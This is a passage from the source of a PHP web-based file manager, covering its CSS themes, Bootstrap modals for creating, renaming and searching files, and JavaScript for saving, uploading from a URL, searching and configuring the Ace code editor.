                color: #cc4b4c
            }

            i.fa.fa-file-text-o {
                color: #0096e6
            }

            i.fa.fa-html5 {
                color: #d75e72
            }

            i.fa.fa-file-excel-o {
                color: #09c55d
            }

            i.fa.fa-file-powerpoint-o {
                color: #f6712e
            }

            i.go-back {
                font-size: 1.2em;
                color: #007bff;
            }

            .main-nav {
                padding: 0.2rem 1rem;
                box-shadow: 0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)
            }

            .dataTables_filter {
                display: none;
            }

            table.dataTable thead .sorting {
                cursor: pointer;
                background-repeat: no-repeat;
                background-position: center right;
                background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC');
            }

            table.dataTable thead .sorting_asc {
                cursor: pointer;
                background-repeat: no-repeat;
                background-position: center right;
                background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg==');
            }

            table.dataTable thead .sorting_desc {
                cursor: pointer;
                background-repeat: no-repeat;
                background-position: center right;
                background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII=');
            }

            table.dataTable thead tr:first-child th.custom-checkbox-header:first-child {
                background-image: none;
            }

            .footer-action li {
                margin-bottom: 10px;
            }

            .app-v-title {
                font-size: 24px;
                font-weight: 300;
                letter-spacing: -.5px;
                text-transform: uppercase;
            }

            hr.custom-hr {
                border-top: 1px dashed #8c8b8b;
                border-bottom: 1px dashed #fff;
            }

            #snackbar {
                visibility: hidden;
                min-width: 250px;
                margin-left: -125px;
                background-color: #333;
                color: #fff;
                text-align: center;
                border-radius: 2px;
                padding: 16px;
                position: fixed;
                z-index: 1;
                left: 50%;
                bottom: 30px;
                font-size: 17px;
            }

            #snackbar.show {
                visibility: visible;
                -webkit-animation: fadein 0.5s, fadeout 0.5s 2.5s;
                animation: fadein 0.5s, fadeout 0.5s 2.5s;
            }

            @-webkit-keyframes fadein {
                from {
                    bottom: 0;
                    opacity: 0;
                }

                to {
                    bottom: 30px;
                    opacity: 1;
                }
            }

            @keyframes fadein {
                from {
                    bottom: 0;
                    opacity: 0;
                }

                to {
                    bottom: 30px;
                    opacity: 1;
                }
            }

            @-webkit-keyframes fadeout {
                from {
                    bottom: 30px;
                    opacity: 1;
                }

                to {
                    bottom: 0;
                    opacity: 0;
                }
            }

            @keyframes fadeout {
                from {
                    bottom: 30px;
                    opacity: 1;
                }

                to {
                    bottom: 0;
                    opacity: 0;
                }
            }

            #main-table span.badge {
                border-bottom: 2px solid #f8f9fa
            }

            #main-table span.badge:nth-child(1) {
                border-color: #df4227
            }

            #main-table span.badge:nth-child(2) {
                border-color: #f8b600
            }

            #main-table span.badge:nth-child(3) {
                border-color: #00bd60
            }

            #main-table span.badge:nth-child(4) {
                border-color: #4581ff
            }

            #main-table span.badge:nth-child(5) {
                border-color: #ac68fc
            }

            #main-table span.badge:nth-child(6) {
                border-color: #45c3d2
            }

            @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) {
                .navbar-collapse .col-xs-6 {
                    padding: 0;
                }
            }

            .btn.active.focus,
            .btn.active:focus,
            .btn.focus,
            .btn.focus:active,
            .btn:active:focus,
            .btn:focus {
                outline: 0 !important;
                outline-offset: 0 !important;
                background-image: none !important;
                -webkit-box-shadow: none !important;
                box-shadow: none !important
            }

            .lds-facebook {
                display: none;
                position: relative;
                width: 64px;
                height: 64px
            }

            .lds-facebook div,
            .lds-facebook.show-me {
                display: inline-block
            }

            .lds-facebook div {
                position: absolute;
                left: 6px;
                width: 13px;
                background: #007bff;
                animation: lds-facebook 1.2s cubic-bezier(0, .5, .5, 1) infinite
            }

            .lds-facebook div:nth-child(1) {
                left: 6px;
                animation-delay: -.24s
            }

            .lds-facebook div:nth-child(2) {
                left: 26px;
                animation-delay: -.12s
            }

            .lds-facebook div:nth-child(3) {
                left: 45px;
                animation-delay: 0s
            }

            @keyframes lds-facebook {
                0% {
                    top: 6px;
                    height: 51px
                }

                100%,
                50% {
                    top: 19px;
                    height: 26px
                }
            }

            ul#search-wrapper {
                padding-left: 0;
                border: 1px solid #ecececcc;
            }

            ul#search-wrapper li {
                list-style: none;
                padding: 5px;
                border-bottom: 1px solid #ecececcc;
            }

            ul#search-wrapper li:nth-child(odd) {
                background: #f9f9f9cc;
            }

            .c-preview-img {
                max-width: 300px;
            }

            .border-radius-0 {
                border-radius: 0;
            }

            .float-right {
                float: right;
            }

            .table-hover>tbody>tr:hover>td:first-child {
                border-left: 1px solid #1b77fd;
            }

            #main-table tr.even {
                background-color: #F8F9Fa;
            }

            .filename>a>i {
                margin-right: 3px;
            }

            .fs-7 {
                font-size: 14px;
            }
        </style>
        <?php
        if (FM_THEME == "dark"): ?>
            <style>
                :root {
                    --bs-bg-opacity: 1;
                    --bg-color: #f3daa6;
                    --bs-dark-rgb: 28, 36, 41 !important;
                    --bs-bg-opacity: 1;
                }

                body.theme-dark {
                    background-image: linear-gradient(90deg, #1c2429, #263238);
                    color: #CFD8DC;
                }

                .list-group .list-group-item {
                    background: #343a40;
                }

                .theme-dark .navbar-nav i,
                .navbar-nav .dropdown-toggle,
                .break-word {
                    color: #CFD8DC;
                }

                a,
                a:hover,
                a:visited,
                a:active,
                #main-table .filename a,
                i.fa.fa-folder-o,
                i.go-back {
                    color: var(--bg-color);
                }

                ul#search-wrapper li:nth-child(odd) {
                    background: #212a2f;
                }

                .theme-dark .btn-outline-primary {
                    color: #b8e59c;
                    border-color: #b8e59c;
                }

                .theme-dark .btn-outline-primary:hover,
                .theme-dark .btn-outline-primary:active {
                    background-color: #2d4121;
                }

                .theme-dark input.form-control {
                    background-color: #101518;
                    color: #CFD8DC;
                }

                .theme-dark .dropzone {
                    background: transparent;
                }

                .theme-dark .inline-actions>a>i {
                    background: #79755e;
                }

                .theme-dark .text-white {
                    color: #CFD8DC !important;
                }

                .theme-dark .table-bordered td,
                .table-bordered th {
                    border-color: #343434;
                }

                .theme-dark .table-bordered td .custom-control-input,
                .theme-dark .table-bordered th .custom-control-input {
                    opacity: 0.678;
                }

                .message {
                    background-color: #212529;
                }

                form.dropzone {
                    border-color: #79755e;
                }
            </style>
        <?php endif; ?>
    </head>

    <body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
        <div id="wrapper" class="container-fluid">
            <!-- New Item creation -->
            <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true" data-bs-theme="<?php echo FM_THEME; ?>">
                <div class="modal-dialog" role="document">
                    <form class="modal-content" method="post">
                        <div class="modal-header">
                            <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                        </div>
                        <div class="modal-body">
                            <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
                            <div class="form-check form-check-inline">
                                <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                                <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                            </div>
                            <div class="form-check form-check-inline">
                                <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                                <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                            </div>

                            <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                            <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
                        </div>
                        <div class="modal-footer">
                            <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                            <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                            <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                        </div>
                    </form>
                </div>
            </div>

            <!-- Advance Search Modal -->
            <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true" data-bs-theme="<?php echo FM_THEME; ?>">
                <div class="modal-dialog modal-lg" role="document">
                    <div class="modal-content">
                        <div class="modal-header">
                            <h5 class="modal-title col-10" id="searchModalLabel">
                                <div class="input-group mb-3">
                                    <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                                    <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                                </div>
                            </h5>
                            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                        </div>
                        <div class="modal-body">
                            <form action="" method="post">
                                <div class="lds-facebook">
                                    <div></div>
                                    <div></div>
                                    <div></div>
                                </div>
                                <ul id="search-wrapper">
                                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                                </ul>
                            </form>
                        </div>
                    </div>
                </div>
            </div>

            <!--Rename Modal -->
            <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog" data-bs-theme="<?php echo FM_THEME; ?>">
                <div class="modal-dialog" role="document">
                    <form class="modal-content rounded-3 shadow" method="post" autocomplete="off">
                        <div class="modal-body p-4 text-center">
                            <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
                            <p class="mb-1">
                                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
                                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                                <input type="hidden" name="rename_from" id="js-rename-from">
                            </p>
                        </div>
                        <div class="modal-footer flex-nowrap p-0">
                            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
                        </div>
                    </form>
                </div>
            </div>

            <!-- Confirm Modal -->
            <script type="text/html" id="js-tpl-confirm">
                <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>" data-bs-theme="<?php echo FM_THEME; ?>">
                    <div class="modal-dialog" role="document">
                        <form class="modal-content rounded-3 shadow" method="post" autocomplete="off" action="<%this.action%>">
                            <div class="modal-body p-4 text-center">
                                <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
                                <p class="mb-1"><%this.content%></p>
                            </div>
                            <div class="modal-footer flex-nowrap p-0">
                                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
                            </div>
                        </form>
                    </div>
                </div>
            </script>
        <?php
    }

    /**
     * Show page footer after login
     */
    function fm_show_footer()
    {
        ?>
        </div>
        <?php print_external('js-jquery'); ?>
        <?php print_external('js-bootstrap'); ?>
        <?php print_external('js-jquery-datatables'); ?>
        <?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])): ?>
            <?php print_external('js-highlightjs'); ?>
            <script>
                hljs.highlightAll();
                var isHighlightingEnabled = true;
            </script>
        <?php endif; ?>
        <script>
            function template(html, options) {
                var re = /<\%([^\%>]+)?\%>/g,
                    reExp = /(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,
                    code = 'var r=[];\n',
                    cursor = 0,
                    match;
                var add = function(line, js) {
                    js ? (code += line.match(reExp) ? line + '\n' : 'r.push(' + line + ');\n') : (code += line != '' ? 'r.push("' + line.replace(/"/g, '\\"') + '");\n' : '');
                    return add
                }
                while (match = re.exec(html)) {
                    add(html.slice(cursor, match.index))(match[1], !0);
                    cursor = match.index + match[0].length
                }
                add(html.substr(cursor, html.length - cursor));
                code += 'return r.join("");';
                return new Function(code.replace(/[\r\t\n]/g, '')).apply(options)
            }

            function rename(e, t) {
                if (t) {
                    $("#js-rename-from").val(t);
                    $("#js-rename-to").val(t);
                    $("#renameDailog").modal('show');
                }
            }

            function change_checkboxes(e, t) {
                for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked
            }

            function get_checkboxes() {
                for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--)(e[n].type = "checkbox") && t.push(e[n]);
                return t
            }

            function select_all() {
                change_checkboxes(get_checkboxes(), !0)
            }

            function unselect_all() {
                change_checkboxes(get_checkboxes(), !1)
            }

            function invert_all() {
                change_checkboxes(get_checkboxes())
            }

            function checkbox_toggle() {
                var e = get_checkboxes();
                e.push(this), change_checkboxes(e)
            }

            // Create file backup with .bck
            function backup(e, t) {
                var n = new XMLHttpRequest,
                    a = "path=" + e + "&file=" + t + "&token=" + window.csrf + "&type=backup&ajax=true";
                return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function() {
                    4 == n.readyState && 200 == n.status && toast(n.responseText)
                }, n.send(a), !1
            }

            // Toast message
            function toast(txt) {
                var x = document.getElementById("snackbar");
                x.innerHTML = txt;
                x.className = "show";
                setTimeout(function() {
                    x.className = x.className.replace("show", "");
                }, 3000);
            }

            // Save file
            function edit_save(e, t) {
                var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
                if (typeof n !== 'undefined' && n !== null) {
                    if (true) {
                        var data = {
                            ajax: true,
                            content: n,
                            type: 'save',
                            token: window.csrf
                        };

                        $.ajax({
                            type: "POST",
                            url: window.location,
                            data: JSON.stringify(data),
                            contentType: "application/json; charset=utf-8",
                            success: function(mes) {
                                toast("Saved Successfully");
                                window.onbeforeunload = function() {
                                    return
                                }
                            },
                            failure: function(mes) {
                                toast("Error: try again");
                            },
                            error: function(mes) {
                                toast(`<p style="background-color:red">${mes.responseText}</p>`);
                            }
                        });
                    } else {
                        var a = document.createElement("form");
                        a.setAttribute("method", "POST"), a.setAttribute("action", "");
                        var o = document.createElement("textarea");
                        o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                        let cx = document.createElement("input");
                        cx.setAttribute("type", "hidden");
                        cx.setAttribute("name", "token");
                        cx.setAttribute("value", window.csrf);
                        var c = document.createTextNode(n);
                        o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
                    }
                }
            }

            function show_new_pwd() {
                $(".js-new-pwd").toggleClass('hidden');
            }

            // Save Settings
            function save_settings($this) {
                let form = $($this);
                $.ajax({
                    type: form.attr('method'),
                    url: form.attr('action'),
                    data: form.serialize() + "&token=" + window.csrf + "&ajax=" + true,
                    success: function(data) {
                        if (data) {
                            window.location.reload();
                        }
                    }
                });
                return false;
            }

            //Create new password hash
            function new_password_hash($this) {
                let form = $($this),
                    $pwd = $("#js-pwd-result");
                $pwd.val('');
                $.ajax({
                    type: form.attr('method'),
                    url: form.attr('action'),
                    data: form.serialize() + "&token=" + window.csrf + "&ajax=" + true,
                    success: function(data) {
                        if (data) {
                            $pwd.val(data);
                        }
                    }
                });
                return false;
            }

            // Upload files using URL @param {Object}
            function upload_from_url($this) {
                let form = $($this),
                    resultWrapper = $("div#js-url-upload__list");
                $.ajax({
                    type: form.attr('method'),
                    url: form.attr('action'),
                    data: form.serialize() + "&token=" + window.csrf + "&ajax=" + true,
                    beforeSend: function() {
                        form.find("input[name=uploadurl]").attr("disabled", "disabled");
                        form.find("button").hide();
                        form.find(".lds-facebook").addClass('show-me');
                    },
                    success: function(data) {
                        if (data) {
                            data = JSON.parse(data);
                            if (data.done) {
                                resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: ' + data.done.name + '</div>');
                                form.find("input[name=uploadurl]").val('');
                            } else if (data['fail']) {
                                resultWrapper.append('<div class="alert alert-danger row">Error: ' + data.fail.message + '</div>');
                            }
                            form.find("input[name=uploadurl]").removeAttr("disabled");
                            form.find("button").show();
                            form.find(".lds-facebook").removeClass('show-me');
                        }
                    },
                    error: function(xhr) {
                        form.find("input[name=uploadurl]").removeAttr("disabled");
                        form.find("button").show();
                        form.find(".lds-facebook").removeClass('show-me');
                        console.error(xhr);
                    }
                });
                return false;
            }

            // Search template
            function search_template(data) {
                var response = "";
                $.each(data, function(key, val) {
                    response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
                });
                return response;
            }

            // Advance search
            function fm_search() {
                var searchTxt = $("input#advanced-search").val(),
                    searchWrapper = $("ul#search-wrapper"),
                    path = $("#js-search-modal").attr("href"),
                    _html = "",
                    $loader = $("div.lds-facebook");
                if (!!searchTxt && searchTxt.length > 2 && path) {
                    var data = {
                        ajax: true,
                        content: searchTxt,
                        path: path,
                        type: 'search',
                        token: window.csrf
                    };
                    $.ajax({
                        type: "POST",
                        url: window.location,
                        data: data,
                        beforeSend: function() {
                            searchWrapper.html('');
                            $loader.addClass('show-me');
                        },
                        success: function(data) {
                            $loader.removeClass('show-me');
                            data = JSON.parse(data);
                            if (data && data.length) {
                                _html = search_template(data);
                                searchWrapper.html(_html);
                            } else {
                                searchWrapper.html('<p class="m-2">No result found!<p>');
                            }
                        },
                        error: function(xhr) {
                            $loader.removeClass('show-me');
                            searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');
                        },
                        failure: function(mes) {
                            $loader.removeClass('show-me');
                            searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');
                        }
                    });
                } else {
                    searchWrapper.html("OOPS: minimum 3 characters required!");
                }
            }

            // action confirm dailog modal
            function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
                e.preventDefault();
                const tplObj = {
                    id,
                    title,
                    content: decodeURIComponent(content.replace(/\+/g, ' ')),
                    action
                };
                let tpl = $("#js-tpl-confirm").html();
                $(".modal.confirmDailog").remove();
                $('#wrapper').append(template(tpl, tplObj));
                const $confirmDailog = $("#confirmDailog-" + tplObj.id);
                $confirmDailog.modal('show');
                return false;
            }

            // on mouse hover image preview
            ! function(s) {
                s.previewImage = function(e) {
                    var o = s(document),
                        t = ".previewImage",
                        a = s.extend({
                            xOffset: 20,
                            yOffset: -20,
                            fadeIn: "fast",
                            css: {
                                padding: "5px",
                                border: "1px solid #cccccc",
                                "background-color": "#fff"
                            },
                            eventSelector: "[data-preview-image]",
                            dataKey: "previewImage",
                            overlayId: "preview-image-plugin-overlay"
                        }, e);
                    return o.off(t), o.on("mouseover" + t, a.eventSelector, function(e) {
                        s("p#" + a.overlayId).remove();
                        var o = s("<p>").attr("id", a.overlayId).css("position", "absolute").css("display", "none").append(s('<img class="c-preview-img">').attr("src", s(this).data(a.dataKey)));
                        a.css && o.css(a.css), s("body").append(o), o.css("top", e.pageY + a.yOffset + "px").css("left", e.pageX + a.xOffset + "px").fadeIn(a.fadeIn)
                    }), o.on("mouseout" + t, a.eventSelector, function() {
                        s("#" + a.overlayId).remove()
                    }), o.on("mousemove" + t, a.eventSelector, function(e) {
                        s("#" + a.overlayId).css("top", e.pageY + a.yOffset + "px").css("left", e.pageX + a.xOffset + "px")
                    }), this
                }, s.previewImage()
            }(jQuery);

            // Dom Ready Events
            $(document).ready(function() {
                // dataTable init
                var $table = $('#main-table'),
                    tableLng = $table.find('th').length,
                    _targets = (tableLng && tableLng == 7) ? [0, 4, 5, 6] : tableLng == 5 ? [0, 4] : [3];
                mainTable = $('#main-table').DataTable({
                    paging: false,
                    info: false,
                    order: [],
                    columnDefs: [{
                        targets: _targets,
                        orderable: false
                    }]
                });

                // filter table
                $('#search-addon').on('keyup', function() {
                    mainTable.search(this.value).draw();
                });

                $("input#advanced-search").on('keyup', function(e) {
                    if (e.keyCode === 13) {
                        fm_search();
                    }
                });

                $('#search-addon3').on('click', function() {
                    fm_search();
                });

                //upload nav tabs
                $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e) {
                    e.preventDefault();
                    let target = $(this).data('target');
                    $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');
                    $(this).addClass('active');
                    $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');
                    $(target).removeClass('hidden');
                });
            });
        </script>

        <?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE && !FM_READONLY):
            $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
            $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
            <?php print_external('js-ace'); ?>
            <script>
                var editor = ace.edit("editor");
                editor.getSession().setMode({
                    path: "ace/mode/<?php echo $ext; ?>",
                    inline: true
                });
                //editor.setTheme("ace/theme/twilight"); // Dark Theme
                editor.setShowPrintMargin(false); // Hide the vertical ruler
                function ace_commend(cmd) {
                    editor.commands.exec(cmd, editor);
                }
                editor.commands.addCommands([{
                    name: 'save',
                    bindKey: {
                        win: 'Ctrl-S',
                        mac: 'Command-S'
                    },
                    exec: function(editor) {
                        edit_save(this, 'ace');
                    }
                }]);

                function renderThemeMode() {
                    var $modeEl = $("select#js-ace-mode"),
                        $themeEl = $("select#js-ace-theme"),
                        $fontSizeEl = $("select#js-ace-fontSize"),
                        optionNode = function(type, arr) {
                            var $Option = "";
                            $.each(arr, function(i, val) {
                                $Option += "<option value='" + type + i + "'>" + val + "</option>";
                            });
                            return $Option;
                        },
                        _data = {
                            "aceTheme": {
                                "bright": {
                                    "chrome": "Chrome",
                                    "clouds": "Clouds",
                                    "crimson_editor": "Crimson Editor",
                                    "dawn": "Dawn",
                                    "dreamweaver": "Dreamweaver",
                                    "eclipse": "Eclipse",
                                    "github": "GitHub",
                                    "iplastic": "IPlastic",
                                    "solarized_light": "Solarized Light",
                                    "textmate": "TextMate",
                                    "tomorrow": "Tomorrow",
                                    "xcode": "XCode",
                                    "kuroir": "Kuroir",
                                    "katzenmilch": "KatzenMilch",
                                    "sqlserver": "SQL Server"
                                },
                                "dark": {
                                    "ambiance": "Ambiance",
                                    "chaos": "Chaos",
                                    "clouds_midnight": "Clouds Midnight",
                                    "dracula": "Dracula",
                                    "cobalt": "Cobalt",
                                    "gruvbox": "Gruvbox",
                                    "gob": "Green on Black",
                                    "idle_fingers": "idle Fingers",
                                    "kr_theme": "krTheme",
                                    "merbivore": "Merbivore",
                                    "merbivore_soft": "Merbivore Soft",
                                    "mono_industrial": "Mono Industrial",
                                    "monokai": "Monokai",
                                    "pastel_on_dark": "Pastel on dark",
                                    "solarized_dark": "Solarized Dark",
                                    "terminal": "Terminal",
                                    "tomorrow_night": "Tomorrow Night",
                                    "tomorrow_night_blue": "Tomorrow Night Blue",
                                    "tomorrow_night_bright": "Tomorrow Night Bright",
                                    "tomorrow_night_eighties": "Tomorrow Night 80s",
                                    "twilight": "Twilight",
                                    "vibrant_ink": "Vibrant Ink"
                                }
                            },
                            "aceMode": {
                                "javascript": "JavaScript",
                                "abap": "ABAP",
                                "abc": "ABC",
                                "actionscript": "ActionScript",
                                "ada": "ADA",
                                "apache_conf": "Apache Conf",
                                "asciidoc": "AsciiDoc",
                                "asl": "ASL",
                                "assembly_x86": "Assembly x86",
                                "autohotkey": "AutoHotKey",
                                "apex": "Apex",
                                "batchfile": "BatchFile",
                                "bro": "Bro",
                                "c_cpp": "C and C++",
                                "c9search": "C9Search",
                                "cirru": "Cirru",
                                "clojure": "Clojure",
                                "cobol": "Cobol",
                                "coffee": "CoffeeScript",
                                "coldfusion": "ColdFusion",
                                "csharp": "C#",
                                "csound_document": "Csound Document",
                                "csound_orchestra": "Csound",
                                "csound_score": "Csound Score",
                                "css": "CSS",
                                "curly": "Curly",
                                "d": "D",
                                "dart": "Dart",
                                "diff": "Diff",
                                "dockerfile": "Dockerfile",
                                "dot": "Dot",
                                "drools": "Drools",
                                "edifact": "Edifact",
                                "eiffel": "Eiffel",
                                "ejs": "EJS",
                                "elixir": "Elixir",
                                "elm": "Elm",
                                "erlang": "Erlang",
                                "forth": "Forth",
                                "fortran": "Fortran",
                                "fsharp": "FSharp",
                                "fsl": "FSL",
                                "ftl": "FreeMarker",
                                "gcode": "Gcode",
                                "gherkin": "Gherkin",
                                "gitignore": "Gitignore",
                                "glsl": "Glsl",
                                "gobstones": "Gobstones",
                                "golang": "Go",
                                "graphqlschema": "GraphQLSchema",
                                "groovy": "Groovy",
                                "haml": "HAML",
                                "handlebars": "Handlebars",
                                "haskell": "Haskell",
                                "haskell_cabal": "Haskell Cabal",
                                "haxe": "haXe",
                                "hjson": "Hjson",
                                "html": "HTML",
                                "html_elixir": "HTML (Elixir)",
                                "html_ruby": "HTML (Ruby)",
                                "ini": "INI",
                                "io": "Io",
                                "jack": "Jack",
                                "jade": "Jade",
                                "java": "Java",
                                "json": "JSON",
                                "jsoniq": "JSONiq",
                                "jsp": "JSP",
                                "jssm": "JSSM",
                                "jsx": "JSX",
                                "julia": "Julia",
                                "kotlin": "Kotlin",
                                "latex": "LaTeX",
                                "less": "LESS",
                                "liquid": "Liquid",
                                "lisp": "Lisp",
                                "livescript": "LiveScript",
                                "logiql": "LogiQL",
                                "lsl": "LSL",
                                "lua": "Lua",
                                "luapage": "LuaPage",
                                "lucene": "Lucene",
                                "makefile": "Makefile",
                                "markdown": "Markdown",
                                "mask": "Mask",
                                "matlab": "MATLAB",
                                "maze": "Maze",
                                "mel": "MEL",
                                "mixal": "MIXAL",
                                "mushcode": "MUSHCode",
                                "mysql": "MySQL",
                                "nix": "Nix",
                                "nsis": "NSIS",
                                "objectivec": "Objective-C",
                                "ocaml": "OCaml",
                                "pascal": "Pascal",
                                "perl": "Perl",
                                "perl6": "Perl 6",
                                "pgsql": "pgSQL",
                                "php_laravel_blade": "PHP (Blade Template)",
                                "php": "PHP",
                                "puppet": "Puppet",
                                "pig": "Pig",
                                "powershell": "Powershell",
                                "praat": "Praat",
                                "prolog": "Prolog",
                                "properties": "Properties",
                                "protobuf": "Protobuf",
                                "python": "Python",
                                "r": "R",
                                "razor": "Razor",
                                "rdoc": "RDoc",
                                "red": "Red",
                                "rhtml": "RHTML",
                                "rst": "RST",
                                "ruby": "Ruby",
                                "rust": "Rust",
                                "sass": "SASS",
                                "scad": "SCAD",
                                "scala": "Scala",
                                "scheme": "Scheme",
                                "scss": "SCSS",
                                "sh": "SH",
                                "sjs": "SJS",
                                "slim": "Slim",
                                "smarty": "Smarty",
                                "snippets": "snippets",
                                "soy_template": "Soy Template",
                                "space": "Space",
                                "sql": "SQL",
                                "sqlserver": "SQLServer",
                                "stylus": "Stylus",
                                "svg": "SVG",
                                "swift": "Swift",
                                "tcl": "Tcl",
                                "terraform": "Terraform",
                                "tex": "Tex",
                                "text": "Text",
                                "textile": "Textile",
                                "toml": "Toml",
                                "tsx": "TSX",
                                "twig": "Twig",
                                "typescript": "Typescript",
                                "vala": "Vala",
                                "vbscript": "VBScript",
                                "velocity": "Velocity",
                                "verilog": "Verilog",
                                "vhdl": "VHDL",
                                "visualforce": "Visualforce",
                                "wollok": "Wollok",
                                "xml": "XML",
                                "xquery": "XQuery",
                                "yaml": "YAML",
                                "django": "Django"
                            },
                            "fontSize": {
                                8: 8,
                                10: 10,
                                11: 11,
                                12: 12,
                                13: 13,
                                14: 14,
                                15: 15,
                                16: 16,
                                17: 17,
                                18: 18,
                                20: 20,
                                22: 22,
                                24: 24,
                                26: 26,
                                30: 30
                            }
                        };
                    if (_data && _data.aceMode) {
                        $modeEl.html(optionNode("ace/mode/", _data.aceMode));
                    }
                    if (_data && _data.aceTheme) {
                        var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright),
                            darkTheme = optionNode("ace/theme/", _data.aceTheme.dark);
                        $themeEl.html("<optgroup label=\"Bright\">" + lightTheme + "</optgroup><optgroup label=\"Dark\">" + darkTheme + "</optgroup>");
                    }
                    if (_data && _data.fontSize) {
                        $fontSizeEl.html(optionNode("", _data.fontSize));
                    }
                    $modeEl.val(editor.getSession().$modeId);
                    $themeEl.val(editor.getTheme());
                    $(function() {
                        //set default font size in drop down
                        $fontSizeEl.val(12).change();
                    });
                }

                $(function() {
                    renderThemeMode();
                    $(".js-ace-toolbar").on("click", 'button', function(e) {
                        e.preventDefault();
                        let cmdValue = $(this).attr("data-cmd"),
                            editorOption = $(this).attr("data-option");
